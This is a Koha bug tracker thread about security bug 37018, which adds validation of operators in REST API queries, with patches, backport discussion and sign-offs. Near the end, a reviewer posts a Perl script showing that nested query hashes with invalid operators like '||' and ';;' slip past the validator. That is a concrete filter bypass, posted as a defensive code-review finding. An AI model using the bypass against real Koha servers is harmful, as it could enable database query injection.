Created attachment 168792 [details] [review] Bug 37018: Handle exception in unhandled_exception() helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 168793 [details] [review] Bug 37018: Silence useless warning Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 168794 [details] [review] Bug 37018: Add 400 response definition to all routes This patch adds a test for well defined 400 responses on all verbs and paths on the API spec. The tests verify: * Presence of 400 response definition * The description must start with 'Bad request' (needs coding guideline) * If DBIC queries are allowed on the route, then `invalid_query` needs to be mentioned in the description. All routes get fixed to make the tests pass. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ yarn api:bundle k$ prove xt/api.t => SUCCESS: Tests pass! Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 168795 [details] [review] Bug 37018: Clarify operators This patch clarifies the list of operators both in the validate routine and in the swagger descrption block where we document this feature for the end user. JD amended patch: tidy Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
I think we need to highlight this change in the release notes for the stable branches. Also I am expecting the "Add 400 response def to all routes" patch to be hard to backport. Did you write a script or made all the changes manually?
(In reply to Jonathan Druart from comment #109) > Also I am expecting the "Add 400 response def to all routes" patch to be > hard to backport. Did you write a script or made all the changes manually? If not we should drop it and provide a version of the patches for the stable branches.
(In reply to Jonathan Druart from comment #110) > (In reply to Jonathan Druart from comment #109) > > Also I am expecting the "Add 400 response def to all routes" patch to be > > hard to backport. Did you write a script or made all the changes manually? > > If not we should drop it and provide a version of the patches for the stable > branches. I was able to backport the following patches to 23.05: 82ad3cfcfa4 Bug 37018: Silence useless warning 5d184991b6e Bug 37018: Handle exception in unhandled_exception() helper 5be3daa8372 Bug 37018: (follow-up) adding some allowed operators 3296b9252a3 Bug 37018: Use validation in search_rs helper aac42383bbf Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm b6831db54e3 Bug 37018: Add Koha::Exceptions::REST 16351660d23 Bug 37018: Unit tests ca546d965e3 Bug 37018: Regression tests Then the next one looked very difficult to do with all the conflicts
(In reply to Jonathan Druart from comment #110) > (In reply to Jonathan Druart from comment #109) > > Also I am expecting the "Add 400 response def to all routes" patch to be > > hard to backport. Did you write a script or made all the changes manually? > > If not we should drop it and provide a version of the patches for the stable > branches. I will provide the version-specific patch for the spec today. Please wait until I finish it.
Created attachment 169309 [details] [review] [24.05.x] Bug 37018: Add 400 response definition to all routes This patch adds a test for well defined 400 responses on all verbs and paths on the API spec. The tests verify: * Presence of 400 response definition * The description must start with 'Bad request' (needs coding guideline) * If DBIC queries are allowed on the route, then `invalid_query` needs to be mentioned in the description. All routes get fixed to make the tests pass. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ yarn api:bundle k$ prove xt/api.t => SUCCESS: Tests pass! Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
(In reply to Tomás Cohen Arazi from comment #112) > (In reply to Jonathan Druart from comment #110) > > (In reply to Jonathan Druart from comment #109) > > > Also I am expecting the "Add 400 response def to all routes" patch to be > > > hard to backport. Did you write a script or made all the changes manually? > > > > If not we should drop it and provide a version of the patches for the stable > > branches. > > I will provide the version-specific patch for the spec today. Please wait > until I finish it. I've tried on 23.11.x but really to much conflicts. Thanks a lot ;)
Created attachment 169337 [details] [review] [23.11.x] Bug 37018: Regression tests This patch adds regression tests. With the current codebase, the malicious query returns a 200. It should be caught and a 400 needs to be returned. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ prove t/db_dependent/api/v1/query.t => FAIL: It returns a 200 3. Once the rest of the patches are ready, repeat 2 => SUCCESS: It returns a 400 Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169338 [details] [review] [23.11.x] Bug 37018: Unit tests Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169339 [details] [review] [23.11.x] Bug 37018: Add Koha::Exceptions::REST Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169340 [details] [review] [23.11.x] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169341 [details] [review] [23.11.x] Bug 37018: Use validation in search_rs helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169342 [details] [review] [23.11.x] Bug 37018: (follow-up) adding some allowed operators Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169343 [details] [review] [23.11.x] Bug 37018: Handle exception in unhandled_exception() helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169344 [details] [review] [23.11.x] Bug 37018: Silence useless warning Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169345 [details] [review] [23.11.x] Bug 37018: Clarify operators This patch clarifies the list of operators both in the validate routine and in the swagger descrption block where we document this feature for the end user. JD amended patch: tidy Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169346 [details] [review] [23.11.x] Bug 37018: Add 400 response definition to all routes This patch adds a test for well defined 400 responses on all verbs and paths on the API spec. The tests verify: * Presence of 400 response definition * The description must start with 'Bad request' (needs coding guideline) * If DBIC queries are allowed on the route, then `invalid_query` needs to be mentioned in the description. All routes get fixed to make the tests pass. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ yarn api:bundle k$ prove xt/api.t => SUCCESS: Tests pass! Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169368 [details] [review] [23.05.x] Bug 37018: Regression tests This patch adds regression tests. With the current codebase, the malicious query returns a 200. It should be caught and a 400 needs to be returned. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ prove t/db_dependent/api/v1/query.t => FAIL: It returns a 200 3. Once the rest of the patches are ready, repeat 2 => SUCCESS: It returns a 400 Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169369 [details] [review] [23.05.x] Bug 37018: Unit tests Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169370 [details] [review] [23.05.x] Bug 37018: Add Koha::Exceptions::REST Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169371 [details] [review] [23.05.x] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169372 [details] [review] [23.05.x] Bug 37018: Use validation in search_rs helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169373 [details] [review] [23.05.x] Bug 37018: (follow-up) adding some allowed operators Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169374 [details] [review] [23.05.x] Bug 37018: Handle exception in unhandled_exception() helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169375 [details] [review] [23.05.x] Bug 37018: Silence useless warning Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169376 [details] [review] [23.05.x] Bug 37018: Clarify operators This patch clarifies the list of operators both in the validate routine and in the swagger descrption block where we document this feature for the end user. JD amended patch: tidy Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169377 [details] [review] [23.05.x] Bug 37018: Add 400 response definition to all routes This patch adds a test for well defined 400 responses on all verbs and paths on the API spec. The tests verify: * Presence of 400 response definition * The description must start with 'Bad request' (needs coding guideline) * If DBIC queries are allowed on the route, then `invalid_query` needs to be mentioned in the description. All routes get fixed to make the tests pass. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ yarn api:bundle k$ prove xt/api.t => SUCCESS: Tests pass! Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169378 [details] [review] [23.11.x] Bug 37018: Add 400 response definition to all routes This patch adds a test for well defined 400 responses on all verbs and paths on the API spec. The tests verify: * Presence of 400 response definition * The description must start with 'Bad request' (needs coding guideline) * If DBIC queries are allowed on the route, then `invalid_query` needs to be mentioned in the description. All routes get fixed to make the tests pass. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ yarn api:bundle k$ prove xt/api.t => SUCCESS: Tests pass! Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
I submitted patches for the maintenance releases. * 24.05: 'main' patches plus the one marked 24.05.x * 23.11: Apply the 23.11.x only * 23.05: Apply the 23.05.x only Please test. I overlooked tiny things on my first submission for 23.11.
(In reply to Tomás Cohen Arazi from comment #136) > I submitted patches for the maintenance releases. > > * 24.05: 'main' patches plus the one marked 24.05.x > * 23.11: Apply the 23.11.x only > * 23.05: Apply the 23.05.x only > > Please test. I overlooked tiny things on my first submission for 23.11. thanks!!!
(In reply to Tomás Cohen Arazi from comment #136) > I submitted patches for the maintenance releases. > > * 24.05: 'main' patches plus the one marked 24.05.x > * 23.11: Apply the 23.11.x only > * 23.05: Apply the 23.05.x only > > Please test. I overlooked tiny things on my first submission for 23.11. Thanks a lot. It applies for 23.11.x
I've tried to cherry-pick "Add 400 response definition to all routes" patch from 23.05 securiy branch, but it doesn't apply on 22.11 security branch. Several swagger files seem to conflict, and I have no idea what it does mean. It's this: deleted by us: api/v1/swagger/paths/authorities.yaml deleted by us: api/v1/swagger/paths/item_types.yaml both modified: api/v1/swagger/paths/items.yaml both modified: api/v1/swagger/paths/patrons_account.yaml deleted by us: api/v1/swagger/paths/tickets.yaml both modified: api/v1/swagger/paths/transfer_limits.yaml
(In reply to Frédéric Demians from comment #139) > I've tried to cherry-pick "Add 400 response definition to all routes" patch > from 23.05 securiy branch, but it doesn't apply on 22.11 security branch. > Several swagger files seem to conflict, and I have no idea what it does > mean. It's this: > > deleted by us: api/v1/swagger/paths/authorities.yaml > deleted by us: api/v1/swagger/paths/item_types.yaml > both modified: api/v1/swagger/paths/items.yaml > both modified: api/v1/swagger/paths/patrons_account.yaml > deleted by us: api/v1/swagger/paths/tickets.yaml > both modified: api/v1/swagger/paths/transfer_limits.yaml * deleted by us: the file doesn't exist on your brach and is being created by the cherry-pick. `git rm` and fixup should do the trick * both modified: needs manual review
Created attachment 169414 [details] [review] [22.11.x] Bug 37018: Add 400 response definition to all routes This patch adds a test for well defined 400 responses on all verbs and paths on the API spec. The tests verify: * Presence of 400 response definition * The description must start with 'Bad request' (needs coding guideline) * If DBIC queries are allowed on the route, then `invalid_query` needs to be mentioned in the description. All routes get fixed to make the tests pass. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ yarn api:bundle k$ prove xt/api.t => SUCCESS: Tests pass! Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
To make tests pass in 24.05.x I had to pick the follow-up commits from Bug 36480 and Bug 36481. I think that is right now?
This has been backported to 24.05.x-security branch for 24.05.02
Created attachment 169832 [details] [review] Bug 37018: Regression tests This patch adds regression tests. With the current codebase, the malicious query returns a 200. It should be caught and a 400 needs to be returned. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ prove t/db_dependent/api/v1/query.t => FAIL: It returns a 200 3. Once the rest of the patches are ready, repeat 2 => SUCCESS: It returns a 400 Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169833 [details] [review] Bug 37018: Unit tests Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169834 [details] [review] Bug 37018: Add Koha::Exceptions::REST Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169835 [details] [review] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169836 [details] [review] Bug 37018: Use validation in search_rs helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169837 [details] [review] Bug 37018: (follow-up) adding some allowed operators Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169838 [details] [review] Bug 37018: Handle exception in unhandled_exception() helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169839 [details] [review] Bug 37018: Silence useless warning Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169840 [details] [review] Bug 37018: Add 400 response definition to all routes This patch adds a test for well defined 400 responses on all verbs and paths on the API spec. The tests verify: * Presence of 400 response definition * The description must start with 'Bad request' (needs coding guideline) * If DBIC queries are allowed on the route, then `invalid_query` needs to be mentioned in the description. All routes get fixed to make the tests pass. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ yarn api:bundle k$ prove xt/api.t => SUCCESS: Tests pass! Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 169841 [details] [review] Bug 37018: Clarify operators This patch clarifies the list of operators both in the validate routine and in the swagger descrption block where we document this feature for the end user. JD amended patch: tidy Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Looks like this is in v23.11.07 but it's not mentioned in the comments or "Version(s) released in:" section. And this is still marked as Passed QA? Just a bit confused.
(In reply to David Cook from comment #154) > Looks like this is in v23.11.07 but it's not mentioned in the comments or > "Version(s) released in:" section. > > And this is still marked as Passed QA? Just a bit confused. Now I'm extra confused. I can see "Bug 37018: Add 400 response definition to all routes" in "v23.11.07" but not in "main". Can RM and RMaints take a look at this one?
(In reply to David Cook from comment #155) > (In reply to David Cook from comment #154) > > Looks like this is in v23.11.07 but it's not mentioned in the comments or > > "Version(s) released in:" section. > > > > And this is still marked as Passed QA? Just a bit confused. > > Now I'm extra confused. > > I can see "Bug 37018: Add 400 response definition to all routes" in > "v23.11.07" but not in "main". > > Can RM and RMaints take a look at this one? After looking through it again, I'm guessing that this is a procedural thing because it's a security bug. And maybe just got missed getting pushed to main or will be pushed tomorrow (good ol' timezones) or something?
Pushed for 24.11! Well done everyone, thank you!
Good work, here guys! When I am looking at the code of _validate_query, I am wondering if constructs like priority => [ { '=', 2 }, { '>', 5 } ] are parsed correctly? It seems that the inner hashes go recursively back into the routine, but the operators = and > here are viewed as field names and wont be checked with _validate_operator. Or am I misreading something?
Similarly just wondering if + if ( ref $element eq 'ARRAY' && $element->[0] eq '-and' ) { + _validate_query( $element->[1] ); this catches everything ?
(In reply to Marcel de Rooy from comment #158) > Good work, here guys! > > When I am looking at the code of _validate_query, I am wondering if > constructs like > > priority => [ { '=', 2 }, { '>', 5 } ] > > are parsed correctly? > It seems that the inner hashes go recursively back into the routine, but the > operators = and > here are viewed as field names and wont be checked with > _validate_operator. Or am I misreading something? Tested on http://localhost:8080/api/v1/public/biblios/1/items With q=[{"item_id":{"<":"5"}}] It generates WHERE `itemnumber` < '5' AND `me`.`biblionumber` = '1' q=[{"item_id":[{"<":"5"},{">":"2"}]}] generates WHERE ( `itemnumber` < '5' OR `itemnumber` > '2' ) AND `me`.`biblionumber` = '1' Work as expected. Do you have another concern about it?
(In reply to Jonathan Druart from comment #160) > Work as expected. > > Do you have another concern about it? Yes, the validation allows invalid operators at a deeper level as mentioned in earlier comment. Here is proof: Run this script use Modern::Perl; use Data::Dumper qw/Dumper/; use Koha::REST::Plugin::Query; my $query = { priority => [ { '=', 2 }, { '>', 5 } ] }; print Dumper( Koha::REST::Plugin::Query::_validate_query( $query ) ); $query = { priority => [ { '||', 2 }, { ';;', 5 } ] }; print Dumper( Koha::REST::Plugin::Query::_validate_query( $query ) ); $query = { "item_id" => { "<", "5" } }; print Dumper( Koha::REST::Plugin::Query::_validate_query( $query ) ); $query = { "item_id" => { "||", "5" } }; print Dumper( Koha::REST::Plugin::Query::_validate_query( $query ) ); As you can see, the second query is invalid with || operator and the fourth query is invalid too. What are the results: $VAR1 = ''; $VAR1 = ''; $VAR1 = ''; [Invalid operator found in query] This shows that the second query is approved, and only the fourth is rejected (where the operator is a level higher in the recursion). That is actually wrong.